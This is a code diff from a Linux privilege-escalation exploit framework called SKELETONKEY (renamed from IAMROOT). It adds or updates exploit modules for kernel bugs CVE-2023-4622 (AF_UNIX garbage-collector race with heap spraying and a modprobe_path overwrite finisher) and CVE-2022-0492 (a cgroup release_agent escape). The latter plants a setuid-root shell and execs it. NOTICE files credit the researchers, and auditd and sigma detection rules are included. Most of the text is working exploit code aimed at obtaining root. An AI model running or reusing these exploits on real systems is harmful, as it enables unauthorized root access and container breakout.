+    fprintf(stderr, "[*] af_unix_gc: arb_write attempt #%d kaddr=0x%lx len=%zu "
+                    "(FALLBACK — race-dependent)\n",
+            c->arb_calls, (unsigned long)kaddr, len);
+
+    int seeded = af_unix_gc_reseed_kaddr_spray(c->queues, kaddr, buf, len);
+    if (seeded == 0) {
+        fprintf(stderr, "[-] af_unix_gc: arb_write: kaddr-tagged reseed produced 0 msgs\n");
+    } else {
+        fprintf(stderr, "[*] af_unix_gc: arb_write: reseeded %d msg_msg slots\n",
+                seeded);
+    }
+
+    /* Re-run the race with the extended budget. */
+    atomic_store(&g_race_running, 1);
+    atomic_store(&g_thread_a_iters, 0);
+    atomic_store(&g_thread_b_iters, 0);
+    atomic_store(&g_thread_a_errs, 0);
+
+    pthread_t ta, tb;
+    bool a_ok = pthread_create(&ta, NULL, race_thread_a, NULL) == 0;
+    bool b_ok = a_ok &&
+                pthread_create(&tb, NULL, race_thread_b, NULL) == 0;
+    if (!a_ok || !b_ok) {
+        atomic_store(&g_race_running, 0);
+        if (a_ok) pthread_join(ta, NULL);
+        fprintf(stderr, "[-] af_unix_gc: arb_write: pthread_create failed\n");
+        return -1;
+    }
+
+    sleep(AFUG_RACE_FULLCHAIN_BUDGET);
+    atomic_store(&g_race_running, 0);
+    pthread_join(ta, NULL);
+    pthread_join(tb, NULL);
+
+    uint64_t a_iters = atomic_load(&g_thread_a_iters);
+    uint64_t b_iters = atomic_load(&g_thread_b_iters);
+    fprintf(stderr, "[*] af_unix_gc: arb_write: extended race A=%llu B=%llu\n",
+            (unsigned long long)a_iters,
+            (unsigned long long)b_iters);
+
+    /* Cannot in-process verify the write — let the finisher's sentinel
+     * arbitrate. */
+    return 0;
+}
+
+/* ---- Exploit driver ---------------------------------------------- */
+
+static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
+{
+    /* 1. Refuse-gate: re-call detect() and short-circuit. */
+    skeletonkey_result_t pre = af_unix_gc_detect(ctx);
+    if (pre == SKELETONKEY_OK) {
+        fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
+        return SKELETONKEY_OK;
+    }
+    if (pre != SKELETONKEY_VULNERABLE) {
+        fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
+        return pre;
+    }
+    if (geteuid() == 0) {
+        fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
+        return SKELETONKEY_OK;
+    }
+
+    /* Full-chain pre-check: resolve offsets BEFORE the race fork. If
+     * modprobe_path is unresolvable we refuse here rather than running
+     * a 30 s race that has no finisher to call. */
+    struct skeletonkey_kernel_offsets off;
+    bool full_chain_ready = false;
+    if (ctx->full_chain) {
+        memset(&off, 0, sizeof off);
+        skeletonkey_offsets_resolve(&off);
+        if (!skeletonkey_offsets_have_modprobe_path(&off)) {
+            skeletonkey_finisher_print_offset_help("af_unix_gc");
+            fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
+                            "modprobe_path offset unresolved; refusing\n");
+            fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
+                            "    a small fraction per run — see module header.\n");
+            return SKELETONKEY_EXPLOIT_FAIL;
+        }
+        skeletonkey_offsets_print(&off);
+        full_chain_ready = true;
+        fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
+                        "    to %d s. RELIABILITY remains race-dependent on a real\n"
+                        "    vulnerable kernel. The finisher's 3 s sentinel timeout\n"
+                        "    catches no-land outcomes gracefully.\n",
+                AFUG_RACE_FULLCHAIN_BUDGET);
+    }
+
+    if (!ctx->json) {
+        fprintf(stderr, "[*] af_unix_gc: forking exploit child (SCM_RIGHTS cycle "
+                        "race harness%s)\n",
+                ctx->full_chain ? " + full-chain finisher" : "");
+    }
+
+    signal(SIGPIPE, SIG_IGN);
+
+    pid_t child = fork();
+    if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
+
+    if (child == 0) {
+        /* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
+         *    BEFORE the race so the freed unix_sock slot gets recycled
+         *    with attacker-controlled bytes when the bug fires. */
+        int queues[AFUG_SPRAY_QUEUES] = {0};
+        for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) queues[i] = -1;
+        int n_queues = spray_kmalloc_512(queues);
+        if (n_queues == 0) {
+            fprintf(stderr, "[-] af_unix_gc: msg_msg spray produced 0 queues "
+                            "(sysv IPC restricted?)\n");
+            _exit(23);
+        }
+        if (!ctx->json) {
+            fprintf(stderr, "[*] af_unix_gc: kmalloc-512 spray seeded %d queues x %d msgs\n",
+                    n_queues, AFUG_SPRAY_PER_QUEUE);
+        }
+
+        long slab_pre = slab_active_kmalloc_512();
+
+        /* 3. Run the race for a bounded time budget. */
+        atomic_store(&g_race_running, 1);
+        atomic_store(&g_thread_a_iters, 0);
+        atomic_store(&g_thread_b_iters, 0);
+        atomic_store(&g_thread_a_errs, 0);
+
+        pthread_t ta, tb;
+        if (pthread_create(&ta, NULL, race_thread_a, NULL) != 0 ||
+            pthread_create(&tb, NULL, race_thread_b, NULL) != 0) {
+            fprintf(stderr, "[-] af_unix_gc: pthread_create failed\n");
+            atomic_store(&g_race_running, 0);
+            drain_kmalloc_512(queues);
+            _exit(24);
+        }
+
+        sleep(AFUG_RACE_TIME_BUDGET);
+        atomic_store(&g_race_running, 0);
+        pthread_join(ta, NULL);
+        pthread_join(tb, NULL);
+
+        long slab_post = slab_active_kmalloc_512();
+        uint64_t a_iters = atomic_load(&g_thread_a_iters);
+        uint64_t b_iters = atomic_load(&g_thread_b_iters);
+        uint64_t a_errs  = atomic_load(&g_thread_a_errs);
+
+        /* 4. Empirical witness breadcrumb. */
+        FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
+        if (log) {
+            fprintf(log,
+                "af_unix_gc race harness (CVE-2023-4622):\n"
+                "  thread_a_iters     = %llu (SCM_RIGHTS cycle + close)\n"
+                "  thread_b_iters     = %llu (SCM_RIGHTS perturb)\n"
+                "  thread_a_errors    = %llu (socketpair / send failures)\n"
+                "  slab_kmalloc512_pre  = %ld\n"
+                "  slab_kmalloc512_post = %ld\n"
+                "  slab_delta           = %ld\n"
+                "  spray_queues       = %d\n"
+                "  spray_per_queue    = %d\n"
+                "  race_budget_secs   = %d\n"
+                "Note: this run did NOT attempt cred overwrite. The bug is a\n"
+                "slab UAF with no in-process leak primitive; per-kernel offsets\n"
+                "for unix_sock layout aren't baked. See module .c for the\n"
+                "continuation roadmap (Lin Ma fake-peer plant).\n",
+                (unsigned long long)a_iters,
+                (unsigned long long)b_iters,
+                (unsigned long long)a_errs,
+                slab_pre, slab_post,
+                (slab_post >= 0 && slab_pre >= 0) ? (slab_post - slab_pre) : 0,
+                n_queues, AFUG_SPRAY_PER_QUEUE,
+                AFUG_RACE_TIME_BUDGET);
+            fclose(log);
+        }
+
+        if (!ctx->json) {
+            fprintf(stderr, "[*] af_unix_gc: race ran for %ds — A=%llu B=%llu A_errs=%llu\n",
+                    AFUG_RACE_TIME_BUDGET,
+                    (unsigned long long)a_iters,
+                    (unsigned long long)b_iters,
+                    (unsigned long long)a_errs);
+            fprintf(stderr, "[*] af_unix_gc: kmalloc-512 active: pre=%ld post=%ld\n",
+                    slab_pre, slab_post);
+        }
+
+        /* Hold the spray briefly so the kernel observes refilled slots
+         * during any in-flight RCU grace periods that started during
+         * the race. */
+        usleep(200 * 1000);
+
+        /* 5. --full-chain finisher (FALLBACK depth). */
+        if (full_chain_ready) {
+            struct af_unix_gc_arb_ctx arb_ctx = {
+                .queues    = queues,
+                .n_queues  = AFUG_SPRAY_QUEUES,
+                .arb_calls = 0,
+            };
+            int fr = skeletonkey_finisher_modprobe_path(&off,
+                                                    af_unix_gc_arb_write,
+                                                    &arb_ctx,
+                                                    !ctx->no_shell);
+            FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
+            if (fl) {
+                fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
+                        fr, arb_ctx.arb_calls);
+                fclose(fl);
+            }
+            drain_kmalloc_512(queues);
+            if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);   /* root popped */
+            _exit(35);                                  /* finisher ran, no land */
+        }
+
+        drain_kmalloc_512(queues);
+
+        /* 6. Continuation roadmap — what would land EXPLOIT_OK.
+         *
+         *    TODO(leak): replace a spray queue with msgrcv(..., MSG_COPY|
+         *    IPC_NOWAIT) probes and scan the returned buffer for non-
+         *    cookie bytes. A freed unix_sock that's refilled by msg_msg
+         *    after a partial overwrite would leak kernel pointers
+         *    (peer, scm_stat, list_node prev/next) into the readback.
+         *    Recover {kbase, init_task} via that leak.
+         *
+         *    TODO(write): with kbase known, plant a fake unix_sock
+         *    whose `peer` pointer references &current->cred — the
+         *    next SCM_RIGHTS dispatch through the freed slot writes
+         *    a controlled value into that location. Crafting the
+         *    fake unix_sock requires offset of unix_sock fields per
+         *    kernel build (different across LTS branches).
+         *
+         *    TODO(overwrite): land &init_cred over current->cred so
+         *    the next permission check sees uid==0.
+         *
+         *    None of these are implemented today. Exit 30 = "trigger
+         *    ran cleanly, no escalation".
+         */
+        _exit(30);
+    }
+
+    /* PARENT */
+    int status = 0;
+    pid_t w = waitpid(child, &status, 0);
+    if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
+
+    if (WIFSIGNALED(status)) {
+        int sig = WTERMSIG(status);
+        if (!ctx->json) {
+            fprintf(stderr, "[!] af_unix_gc: race child killed by signal %d "
+                            "(consistent with UAF firing under KASAN)\n", sig);
+            fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
+                            "    overwrite primitive — NOT claiming EXPLOIT_OK.\n"
+                            "    See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
+        }
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    if (!WIFEXITED(status)) {
+        fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
+                status);
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    int rc = WEXITSTATUS(status);
+    if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
+
+    if (rc == 34) {
+        if (!ctx->json) {
+            fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
+                            "EXPLOIT_OK (race won + write landed)\n");
+        }
+        return SKELETONKEY_EXPLOIT_OK;
+    }
+    if (rc == 35) {
+        if (!ctx->json) {
+            fprintf(stderr, "[~] af_unix_gc: --full-chain finisher ran; race did not\n"
+                            "    win + land within budget (expected outcome on most\n"
+                            "    runs — race wins are a fraction of a percent).\n");
+        }
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    if (rc != 30) {
+        fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    if (!ctx->json) {
+        fprintf(stderr, "[*] af_unix_gc: race harness ran to completion.\n");
+        fprintf(stderr, "[~] af_unix_gc: read/write/cred-overwrite primitives NOT\n"
+                        "    implemented (per-kernel offsets; see module .c TODO\n"
+                        "    blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
+    }
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+#endif /* __linux__ */
+
+static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->authorized) {
+        fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+#ifdef __linux__
+    return af_unix_gc_exploit_linux(ctx);
+#else
+    (void)ctx;
+    fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
+    return SKELETONKEY_PRECOND_FAIL;
+#endif
+}
+
+/* ---- Cleanup ----------------------------------------------------- */
+
+static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->json) {
+        fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
+    }
+    if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
+        /* harmless */
+    }
+    /* Race threads + msg queues live inside the now-exited child;
+     * nothing else to drain. */
+    return SKELETONKEY_OK;
+}
+
+/* ---- Detection rules --------------------------------------------- */
+
+static const char af_unix_gc_auditd[] =
+    "# AF_UNIX GC race UAF (CVE-2023-4622) — auditd detection rules\n"
+    "# The trigger is a tight loop of socketpair(AF_UNIX) + sendmsg with\n"
+    "# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
+    "# benign — flag the *frequency* by correlating these keys with a\n"
+    "# subsequent KASAN message in dmesg.\n"
+    "-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
+    "-a always,exit -F arch=b64 -S sendmsg    -k skeletonkey-afunixgc-sendmsg\n"
+    "-a always,exit -F arch=b64 -S msgsnd     -k skeletonkey-afunixgc-spray\n";
+
+const struct skeletonkey_module af_unix_gc_module = {
+    .name           = "af_unix_gc",
+    .cve            = "CVE-2023-4622",
+    .summary        = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
+    .family         = "af_unix",
+    .kernel_range   = "K < 6.5; backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51",
+    .detect         = af_unix_gc_detect,
+    .exploit        = af_unix_gc_exploit,
+    .mitigate       = NULL,
+    .cleanup        = af_unix_gc_cleanup,
+    .detect_auditd  = af_unix_gc_auditd,
+    .detect_sigma   = NULL,
+    .detect_yara    = NULL,
+    .detect_falco   = NULL,
+};
+
+void skeletonkey_register_af_unix_gc(void)
+{
+    skeletonkey_register(&af_unix_gc_module);
+}
@@ -0,0 +1,12 @@
+/*
+ * af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
+ */
+
+#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
+#define AF_UNIX_GC_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module af_unix_gc_module;
+
+#endif
@@ -0,0 +1,29 @@
+# NOTICE — cgroup_release_agent (CVE-2022-0492)
+
+## Vulnerability
+
+**CVE-2022-0492** — cgroup v1 `release_agent` privilege check in the
+wrong namespace → host root from a rootless container or unprivileged
+userns by mounting cgroup v1 and writing to `release_agent`.
+
+## Research credit
+
+Discovered by **Yiqi Sun** + **Kevin Wang** (Trend Micro Research),
+January 2022.
+
+Original writeup:
+<https://blog.trendmicro.com/cve-2022-0492-from-cgroup-loophole-to-container-breakout/>
+
+Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
+
+## SKELETONKEY role
+
+**Universal structural exploit — no per-kernel offsets, no race.**
+unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
+write `release_agent` → `./payload`, trigger via
+`notify_on_release` + cgroup process exit.
+
+Kept in the corpus as a portable "containers misconfigured"
+demonstration — works across every kernel below the fix without any
+tuning. Ships auditd rules covering cgroupfs mounts and
+`release_agent` writes.
@@ -1,12 +0,0 @@
-/*
- * cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
- */
-
-#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
-#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module cgroup_release_agent_module;
-
-#endif
@@ -1,5 +1,5 @@
 /*
- * cgroup_release_agent_cve_2022_0492 — IAMROOT module
+ * cgroup_release_agent_cve_2022_0492 — SKELETONKEY module
 *
 * cgroup v1 release_agent file is checked only for "is the writer
 * root in the cgroup namespace" — NOT "is the writer root in the
@@ -36,7 +36,7 @@
 * exposure even if all the fancy heap-spray bugs are patched.
 */

-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
 #include "../../core/kernel_range.h"

@@ -84,12 +84,12 @@ static int can_unshare_userns_mount(void)
    return WIFEXITED(status) && WEXITSTATUS(status) == 0;
 }

-static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
 {
    struct kernel_version v;
    if (!kernel_version_current(&v)) {
        fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
@@ -97,7 +97,7 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    int userns_ok = can_unshare_userns_mount();
@@ -112,13 +112,13 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
        }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }
    if (!ctx->json) {
        fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
        fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
    }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }

 /* ---- Exploit -----------------------------------------------------
@@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)

 static const char PAYLOAD_SHELL[] =
    "#!/bin/sh\n"
-    "# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
-    "id > /tmp/iamroot-cgroup-pwned\n"
-    "chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
-    "cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
-    "chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
-    "chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
+    "# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
+    "id > /tmp/skeletonkey-cgroup-pwned\n"
+    "chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
+    "cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
+    "chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
+    "chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";

 static bool write_file(const char *path, const char *content)
 {
@@ -147,23 +147,23 @@ static bool write_file(const char *path, const char *content)
    return ok;
 }

-static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
 {
-    iamroot_result_t pre = cgroup_ra_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = cgroup_ra_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
        fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
        return pre;
    }
    if (geteuid() == 0) {
        fprintf(stderr, "[i] cgroup_release_agent: already root\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    /* Drop the setuid-root-shell payload to a path we can read+exec
     * later. Payload runs as host root when the cgroup is released. */
-    const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
+    const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
    if (!write_file(payload_path, PAYLOAD_SHELL)) {
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }
    chmod(payload_path, 0755);
    if (!ctx->json) {
@@ -173,7 +173,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
    /* Fork: child does the exploit; parent waits then verifies + execs
     * the setuid shell we expect the payload to plant. */
    pid_t child = fork();
-    if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
+    if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
    if (child == 0) {
        /* CHILD: enter userns + mountns, become "root" in userns. */
        if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
@@ -193,7 +193,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)

        /* Mount cgroup v1 (rdma controller — small, simple, works
         * even on cgroup-v2-first systems). */
-        const char *cgmount = "/tmp/iamroot-cgroup-mnt";
+        const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
        mkdir(cgmount, 0700);
        if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
            /* Fallback: try memory controller — needs different reach */
@@ -206,7 +206,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
         * Buffers sized generously vs. cgmount template + "/notify_on_release"
         * tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
        char cgdir[384];
-        snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
+        snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
        mkdir(cgdir, 0755);

        /* Write release_agent in the ROOT of the controller (must be
@@ -254,9 +254,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
                        "polling for payload execution\n", status);
    }

-    /* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
+    /* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
     * its appearance + setuid bit. Up to 5 seconds. */
-    const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
+    const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
    bool got_root = false;
    for (int i = 0; i < 50; i++) {
        struct stat st;
@@ -271,7 +271,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
        fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
                        "Likely patched or cgroup-controller-blocked.\n");
        unlink(payload_path);
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }

    if (!ctx->json) {
@@ -280,39 +280,39 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
    if (ctx->no_shell) {
        fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
        unlink(payload_path);
-        return IAMROOT_EXPLOIT_OK;
+        return SKELETONKEY_EXPLOIT_OK;
    }
    fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
    fflush(NULL);
    execl(setuid_sh, "sh", "-p", (char *)NULL);
    perror("execl");
    unlink(payload_path);
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }

-static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
 {
    (void)ctx;
    if (!ctx->json) {
-        fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
+        fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
    }
-    if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
-               "/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
-    if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
-               "rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
-    return IAMROOT_OK;
+    if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
+               "/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
+    if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
+               "rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
+    return SKELETONKEY_OK;
 }

 static const char cgroup_ra_auditd[] =
    "# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
    "# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
-    "-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
-    "-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
-    "-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
+    "-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
+    "-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
+    "-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";

 static const char cgroup_ra_sigma[] =
    "title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
-    "id: 5c84a37e-iamroot-cgroup-ra\n"
+    "id: 5c84a37e-skeletonkey-cgroup-ra\n"
    "status: experimental\n"
    "description: |\n"
    "  Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -328,7 +328,7 @@ static const char cgroup_ra_sigma[] =
    "level: high\n"
    "tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";

-const struct iamroot_module cgroup_release_agent_module = {
+const struct skeletonkey_module cgroup_release_agent_module = {
    .name           = "cgroup_release_agent",
    .cve            = "CVE-2022-0492",
    .summary        = "cgroup v1 release_agent privilege check in wrong namespace → host root",
@@ -344,7 +344,7 @@ const struct iamroot_module cgroup_release_agent_module = {
    .detect_falco   = NULL,
 };

-void iamroot_register_cgroup_release_agent(void)
+void skeletonkey_register_cgroup_release_agent(void)
 {
-    iamroot_register(&cgroup_release_agent_module);
+    skeletonkey_register(&cgroup_release_agent_module);
 }
@@ -0,0 +1,12 @@
+/*
+ * cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
+ */
+
+#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
+#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module cgroup_release_agent_module;
+
+#endif
@@ -0,0 +1,25 @@
+# NOTICE — cls_route4 (CVE-2022-2588)
+
+## Vulnerability
+
+**CVE-2022-2588** — `net/sched` cls_route4 handle-zero dangling-filter
+UAF → kernel R/W via msg_msg cross-cache refill.
+
+## Research credit
+
+Discovered and disclosed by **kylebot** / **xkernel**, August 2022.
+
+Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
+(William Liu's analysis built on kylebot's trigger).
+
+Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
+Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
+
+## SKELETONKEY role
+
+The module uses `unshare(USER|NET)`, brings up a dummy interface,
+creates an htb qdisc + class, adds a `route4` filter, then deletes
+it to leave the dangling pointer. msg_msg sprays kmalloc-1k while
+a UDP `classify()` walk follows the dangling pointer. `--full-chain`
+re-fires with a faked tcf_proto.ops pointer aimed at the
+modprobe_path overwrite via the shared finisher.
@@ -1,12 +0,0 @@
-/*
- * cls_route4_cve_2022_2588 — IAMROOT module registry hook
- */
-
-#ifndef CLS_ROUTE4_IAMROOT_MODULES_H
-#define CLS_ROUTE4_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module cls_route4_module;
-
-#endif
@@ -1,5 +1,5 @@
 /*
- * cls_route4_cve_2022_2588 — IAMROOT module
+ * cls_route4_cve_2022_2588 — SKELETONKEY module
 *
 * net/sched cls_route4 dead UAF: when a route4 filter with handle==0
 * is removed, the corresponding hashtable bucket may keep a stale
@@ -38,9 +38,11 @@
 *   - iproute2 `tc` binary present (used for filter add/del)
 */

-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
 #include "../../core/kernel_range.h"
+#include "../../core/offsets.h"
+#include "../../core/finisher.h"

 #include <stdio.h>
 #include <stdlib.h>
@@ -104,12 +106,12 @@ static int can_unshare_userns(void)
    return WIFEXITED(status) && WEXITSTATUS(status) == 0;
 }

-static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
 {
    struct kernel_version v;
    if (!kernel_version_current(&v)) {
        fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    /* Bug-introduction predates anything we'd reasonably scan; if the
@@ -120,7 +122,7 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    /* Module + userns preconditions. */
@@ -143,13 +145,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
        }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }

    if (!ctx->json) {
        fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
    }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }

 /* ---- Exploit -----------------------------------------------------
@@ -182,13 +184,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
 * specific to be portable. If a dmesg KASAN message or oops is
 * observed by the parent we return EXPLOIT_OK to reflect the empirical
 * UAF win. The fallback also leaves a one-line breadcrumb in
